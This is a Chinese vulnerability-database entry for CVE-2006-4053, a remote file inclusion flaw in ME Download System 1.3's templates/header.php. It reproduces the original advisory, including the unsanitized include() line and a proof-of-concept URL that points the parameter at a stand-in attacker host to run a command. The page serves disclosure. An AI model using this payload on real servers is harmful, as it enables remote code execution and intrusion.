ME Download System 'Header.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110767 漏洞类型 输入验证
发布时间 2006-08-07 更新时间 2006-08-14
CVE编号 CVE-2006-4053 CNNVD-ID CNNVD-200608-155
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2122
https://cxsecurity.com/issue/WLB-2006080064
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-155
|漏洞详情
MEDownloadSystem1.3的templates/header.php脚本存在PHP远程文件包含漏洞,远程攻击者可借助Vb8878b936c2bd8ae0cab参数中的URL执行任意PHP代码。
|漏洞EXP
+--------------------------------------------------------------------
+
+ ME Download System 1.3 Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: ME Download System 1.3
+ Venedor ...........: http://www.ehmig.net/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_282.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+ Affected Files ....: templates/header.php
+
+--------------------------------------------------------------------
+
+ Code of /templates/header.php:
+
+ .....
+ <?php
+ include($Vb8878b936c2bd8ae0cab.'/settings_style.php');
+ .....
+
+--------------------------------------------------------------------
+
+ $Vb8878b936c2bd8ae0cab is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in header.php:
+
+--------------------------------------------------------------------
+
+ PoC:
+ http://[target]/templates/header.php?$Vb8878b936c2bd8ae0cab=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Notice:
+ Maybe there are more RFI-Vulns in other files, but it's very hard
+ to read this code.
+
+ Venedor has been contacted, but I didn't received any answer.
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-07]
|参考资料

来源:XF
名称:medownloadsystem-header-file-include(28216)
链接:http://xforce.iss.net/xforce/xfdb/28216
来源:BID
名称:19336
链接:http://www.securityfocus.com/bid/19336
来源:BUGTRAQ
名称:20060803MEDownloadSystem1.3RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/442140/100/0/threaded
来源:VUPEN
名称:ADV-2006-3152
链接:http://www.frsirt.com/english/advisories/2006/3152
来源:MISC
链接:http://www.bb-pcsecurity.de/sicherheit_282.htm
来源:SECUNIA
名称:21359
链接:http://secunia.com/advisories/21359
来源:OSVDB
名称:27765
链接:http://www.osvdb.org/27765
来源:SREASON
名称:1355
链接:http://securityreason.com/securityalert/1355